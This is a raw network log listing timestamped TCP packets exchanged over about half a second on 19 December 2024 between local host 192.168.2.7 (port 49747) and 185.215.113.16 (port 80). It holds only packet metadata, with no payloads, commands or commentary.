Dec 19, 2024 08:35:41.230716944 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.230768919 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.231064081 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.274693966 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.287158012 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.287177086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.287760973 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.287800074 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.288230896 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.288288116 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.288306952 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.288737059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.289024115 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.289453030 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.289684057 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.289729118 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.290446043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.290745020 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.291039944 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.291363955 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.291565895 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.291616917 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.292045116 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.292546988 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.292597055 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.292987108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.293462992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.293510914 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.294076920 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.294359922 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.294404984 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.294974089 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.295352936 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.295417070 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.295790911 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.296287060 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.296333075 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.296840906 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.297341108 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.297388077 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.298079967 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.298096895 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.298142910 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.298559904 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.299137115 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.299185991 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.300121069 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.300137043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.300189972 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.301357985 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.301373005 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.301389933 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.301424980 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.301966906 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.302078962 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.302432060 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.303364992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.303412914 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.303417921 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.304105043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.304653883 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.304655075 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.304754972 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.304799080 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.305166006 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.305718899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.305762053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.306106091 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.306688070 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.306736946 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.307288885 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.307598114 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.307648897 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.307971001 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.352911949 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.395875931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.395912886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.395978928 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.397280931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.397301912 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.397320986 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.397368908 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.398688078 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.398704052 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.398722887 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.398752928 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.398837090 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.399171114 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.399729013 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.399842024 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.400049925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.401118040 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.401151896 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.401213884 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.401498079 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.401706934 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.401947975 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.403373003 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.403389931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.403408051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.403436899 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.403464079 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.403848886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.404706955 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.404769897 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.404773951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407145023 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407162905 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407181978 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407196999 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407213926 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.407231092 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.407263041 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.408449888 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.408467054 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.408549070 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.408550978 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.409617901 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.409642935 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.409698009 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.410113096 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.410345078 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.410545111 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.410845995 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.410900116 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.411375999 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.411837101 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.411896944 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.412744999 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.412760973 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.412800074 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.413346052 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.413707018 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.414028883 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.414031029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.414459944 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.414525032 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.415508986 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.415528059 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.415579081 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.416287899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.416357040 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.416403055 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.417190075 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.417489052 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.417550087 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.418432951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.418448925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.418508053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.419114113 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.419189930 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.419245005 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.420120955 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.420223951 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.420275927 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.422918081 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.422935009 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.422952890 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.422970057 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.422981024 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.422987938 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.423007011 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.423013926 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.423058033 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.479567051 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.479850054 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.479904890 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.480268955 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.480288029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.480346918 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.481267929 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.481710911 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.481798887 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.482055902 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.482580900 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.482633114 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.483006954 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.483467102 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.483514071 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.483932018 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.484431028 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.484885931 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.484949112 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.485336065 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.485827923 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.485889912 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.486429930 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.486479044 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.486840010 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.487334967 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.487390995 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.487776041 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.488375902 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.488591909 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.488724947 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.489224911 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.489310026 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.489603043 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.490035057 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.490083933 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.490684032 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.491008997 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.491061926 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.491570950 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.491954088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.492008924 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.492372990 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.493108034 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.493347883 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.493355036 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.493813992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.493865013 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.494234085 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.494703054 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.494761944 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.495219946 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.495668888 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.495723009 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.496165037 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.496607065 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.496658087 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.497044086 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.497550964 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.497617006 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.497984886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.498572111 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.498739958 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.499138117 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.499432087 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.499927998 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.499980927 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.500359058 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.500823021 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.500890017 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.588356972 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.588387012 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.588465929 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.588721991 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.589160919 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.589220047 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.589641094 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.590101004 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.590177059 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.590607882 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.591217041 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.591326952 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.591638088 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.592103958 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.592185974 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.592498064 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.592947006 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.593004942 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.593362093 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.593843937 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.593894005 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.594347954 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.594897032 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.595276117 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.595344067 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.595700026 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.595763922 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.597774029 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.597795963 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.597865105 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.598820925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.598845005 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.598896027 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.599771023 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.599792004 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.599841118 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.600970984 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.601197958 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.601214886 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.601249933 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.602210045 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.602226973 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.602268934 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.602994919 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.603108883 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.603399992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.603418112 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.604362011 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.604382992 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.604428053 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.604460001 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.605242968 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.605272055 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.605334044 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.606276989 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.606297016 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.606383085 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.607151031 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.607650995 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.607669115 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.607717991 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.608722925 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.608741999 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.608814955 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.609807968 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.609827042 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.609884024 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.610896111 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.610915899 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.610932112 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.610955954 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.610986948 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.611757994 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.611776114 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.611833096 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.612791061 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.612807989 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.612873077 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.613698959 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.613718987 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.614563942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.614583969 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.614628077 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.615746021 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.615768909 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.615830898 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.616408110 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.616430998 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.616483927 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.671828032 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.672123909 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.672281027 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.672468901 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.673090935 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.673161983 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.673434019 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.673865080 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.673923969 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.674287081 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.674796104 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.675272942 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.675328970 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.675663948 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.676184893 CET	80	49747	185.215.113.16	192.168.2.7
Dec 19, 2024 08:35:41.676243067 CET	49747	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:35:41.676630020 CET	80	49747	185.215.113.16	192.168.2.7
